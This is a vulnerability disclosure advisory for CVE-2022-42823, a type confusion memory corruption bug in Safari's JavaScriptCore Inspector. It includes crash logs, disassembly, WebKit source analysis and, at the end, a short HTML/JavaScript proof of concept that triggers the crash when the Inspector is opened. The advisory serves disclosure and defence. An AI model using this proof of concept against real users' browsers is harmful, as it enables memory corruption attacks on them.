APPLE SAFARI JAVASCRIPTCORE INSPECTOR TYPE CONFUSION

December 6, 2022 SSD Secure Disclosure technical team
Uncategorized

Summary

A Type confusion vulnerability exists in the Apple Safari JSC Inspector. This issue causes Memory Corruption due to Type confusion. A victim must open an arbitrary generated HTML file to trigger this vulnerability.

Credit

Dohyun Lee (@l33d0hyun) of SSD Labs

CVE

CVE-2022-42823

Vendor Response

The issue received CVE-2022-42823 and was credited on our advisories at:

- https://support.apple.com/HT213488
- https://support.apple.com/HT213492
- https://support.apple.com/HT213489
- https://support.apple.com/HT213495
- https://support.apple.com/HT213491

Test environment

- Apple Silicon M1 Processor

- macOS Monterey 12.5(21G72)
- Apple Safari 15.6(17613.3.9.1.5)

Root Cause Analysis

```
     * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x9c7980019f2cc1d0)
     Note: Possible pointer authentication failure detected.
     Found value that failed to authenticate at address=0x19f2cc1d0.

         frame #0: 0x00000001b796e9d0 JavaScriptCore`WTFCrashWithInfo(int, char const*, char const*, int) + 20
     JavaScriptCore`WTFCrashWithInfo:
     ->  0x1b796e9d0 <+20>: brk    #0xc471
         0x1b796e9d4 <+24>: brk    #0x1

     JavaScriptCore`WTF::AutomaticThread::threadDidStart:
         0x1b796e9d8 <+0>:  ret

     JavaScriptCore`WTF::AutomaticThread::threadIsStopping:
         0x1b796e9dc <+0>:  ret
     Target 0: (com.apple.WebKit.WebContent) stopped.
     (lldb) reg read
     General Purpose Registers:
             x0 = 0x00000000000000ce
             x1 = 0x00000001b8c3cef5  "./inspector/InjectedScriptManager.cpp"
             x2 = 0x00000001b8c3cf1b  "Inspector::InjectedScript Inspector::InjectedScriptManager::injectedScriptFor(JSC::JSGlobalObject *)"
             x3 = 0x00000000000000e5
             x4 = 0xffffffffca2eb078
             x5 = 0x0000000000000008
             x6 = 0x000000000000000a
             x7 = 0x0000000000000001
             x8 = 0x0000000000000001
             x9 = 0x0000000000000000
         x10 = 0x00000021a0e33805
         x11 = 0x0000000000000001
         x12 = 0x0000000000000001
         x13 = 0x8000000008041000
         x14 = 0x0000000106360138
         x15 = 0x0000007ff0000000
         x16 = 0x9c7980019f2cc1d0 (0x000000019f2cc1d0) libsystem_kernel.dylib`mach_approximate_time
         x17 = 0x00000001fa6c2ae8  (void *)0x9c7980019f2cc1d0
         x18 = 0x0000000000000000
         x19 = 0x000000010d0719c0
         x20 = 0x0000000135413000
         x21 = 0x00000001350c5a68
         x22 = 0x0000000000000001
         x23 = 0x000000010d072a40
         x24 = 0x00000001b8b9a110  JavaScriptCore`InjectedScriptSource_js
         x25 = 0x0000000000000000
         x26 = 0x0000000000000010
         x27 = 0x000000010d024e20
         x28 = 0x0000000000000000
             fp = 0x000000016b131340
             lr = 0x00000001b8352574 JavaScriptCore`Inspector::InjectedScriptManager::injectedScriptFor(JSC::JSGlobalObject*) + 2872
             sp = 0x000000016b131250
             pc = 0x00000001b796e9d0  JavaScriptCore`WTFCrashWithInfo(int, char const*, char const*, int) + 20
         cpsr = 0x80001000
```

If you attach lldb and check the log immediately after the crash occurs, you can confirm that a failure occurred in the PAC verification

```
 WebCore::PageRuntimeAgent::notifyContextCreated(WTF::String const&, JSC::JSGlobalObject*, WebCore::DOMWrapperWorld const&, WebCore::SecurityOrigin*) + 64
WebCoreWebCore::PageRuntimeAgent::notifyContextCreated:
 0x1bc68fb64 <+0>: pacibsp
```

```
 0x1bc68fb68 <+4>: sub sp, sp, #0xa0
 0x1bc68fb6c <+8>: stp x24, x23, [sp, #0x60]
 0x1bc68fb70 <+12>: stp x22, x21, [sp, #0x70]
 0x1bc68fb74 <+16>: stp x20, x19, [sp, #0x80]
 0x1bc68fb78 <+20>: stp x29, x30, [sp, #0x90]
 0x1bc68fb7c <+24>: add x29, sp, #0x90
 0x1bc68fb80 <+28>: mov x19, x4
 0x1bc68fb84 <+32>: mov x22, x3
 0x1bc68fb88 <+36>: mov x21, x2
 0x1bc68fb8c <+40>: mov x20, x1
 0x1bc68fb90 <+44>: mov x23, x0
 0x1bc68fb94 <+48>: ldr x0, [x0, #0x18]
 0x1bc68fb98 <+52>: add x8, sp, #0x8
 0x1bc68fb9c <+56>: mov x1, x2
 0x1bc68fba0 <+60>: bl 0x1bd0a84c0 ; symbol stub for:
Inspector::InjectedScriptManager::injectedScriptFor(JSC::JSGlobalObject*)
 => 0x1bc68fba4 <+64>: ldr x8, [sp, #0x18]
 0x1bc68fba8 <+68>: cbz x8, 0x1bc68ff70 ; <+1036>
 0x1bc68fbac <+72>: ldr x8, [x8]
 0x1bc68fbb0 <+76>: cbz x8, 0x1bc68ff70 ; <+1036>
 0x1bc68fbb4 <+80>: ldr x8, [x22, #0x20]
 0x1bc68fbb8 <+84>: str x8, [sp]
 0x1bc68fbbc <+88>: cbz x8, 0x1bc69014c ; <+1512>
 0x1bc68fbc0 <+92>: ldp w9, w10, [x8]
 0x1bc68fbc4 <+96>: add w9, w9, #0x2
```

You can see the above assembly calling the Inspector::InjectedScriptManager::injectedScriptFor function.

```
 Inspector::InjectedScriptManager:: (JSC::JSGlobalObject*) + 2872
     0x1b835255c <+2848>: add    x1, x1, #0xef5            ; "./inspector/InjectedScriptManager.cpp"
     0x1b8352560 <+2852>: adrp   x2, 2282
     0x1b8352564 <+2856>: add    x2, x2, #0xf1b            ; "Inspector::InjectedScript
Inspector::InjectedScriptManager::injectedScriptFor(JSC::JSGlobalObject *)"
     0x1b8352568 <+2860>: mov    w0, #0xce
     0x1b835256c <+2864>: mov    w3, #0xe5
     0x1b8352570 <+2868>: bl     0x1b796e9bc               ; WTFCrashWithInfo(int, char const*, char
const*, int)
   => 0x1b8352574 <+2872>: add    x8, sp, #0x60
     0x1b8352578 <+2876>: add    x0, sp, #0x58
     0x1b835257c <+2880>: mov    x1, x21
     0x1b8352580 <+2884>: bl     0x1b87529a4               ;
JSC::JSValue::toWTFStringSlowCase(JSC::JSGlobalObject*) const
     0x1b8352584 <+2888>: add    x8, sp, #0x30
     0x1b8352588 <+2892>: add    x0, sp, #0x60
```

```
 InjectedScript InjectedScriptManager::injectedScriptFor(JSGlobalObject* globalObject)
     {
         auto it = m_scriptStateToId.find(globalObject);
         if (it != m_scriptStateToId.end()) {
             auto it1 = m_idToInjectedScript.find(it->value);
             if (it1 != m_idToInjectedScript.end())
                 return it1->value;
         }

         if (!m_environment.canAccessInspectedScriptState(globalObject))
             return InjectedScript();

         int id = injectedScriptIdFor(globalObject);
         auto createResult = createInjectedScript(globalObject, id);
         if (!createResult) {
             auto& error = createResult.error();
             ASSERT(error);

             if (globalObject->vm().isTerminationException(error))
                 return InjectedScript();

             unsigned line = 0;
             unsigned column = 0;
             auto& stack = error->stack();
             if (stack.size() > 0)
                 stack[0].computeLineAndColumn(line, column);
             WTFLogAlways("Error when creating injected script: %s (%d:%d)\n", error-
>value().toWTFString(globalObject).utf8().data(), line, column);
             RELEASE_ASSERT_NOT_REACHED();
```

```
        }
        if (!createResult.value()) {        // hit point
            WTFLogAlways("Missing injected script object");
            RELEASE_ASSERT_NOT_REACHED();
        }

        InjectedScript result({ globalObject, createResult.value() }, &m_environment);
        m_idToInjectedScript.set(id, result);
        didCreateInjectedScript(result);
        return result;
    }
```

*

https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/inspector/InjectedScriptManager.cpp#L195

– Crashed on Inspector::InjectedScriptManager::injectedScriptFor + 2872. This indicates a problem with the globalObject pointer.

– Invalid globalObject pointer is obtained and Safari PAC Exception during the verification step.

Reproduce

- Download the attached file.
- open poc.html (sent as poc.txt) on Apple Safari.
- open Inspector.

PoC

```
<script>
    let object = {};
    Object.prototype.__defineSetter__('type', function() {
        object.x = {};
        object[0] = object.x;
    });
</script>
```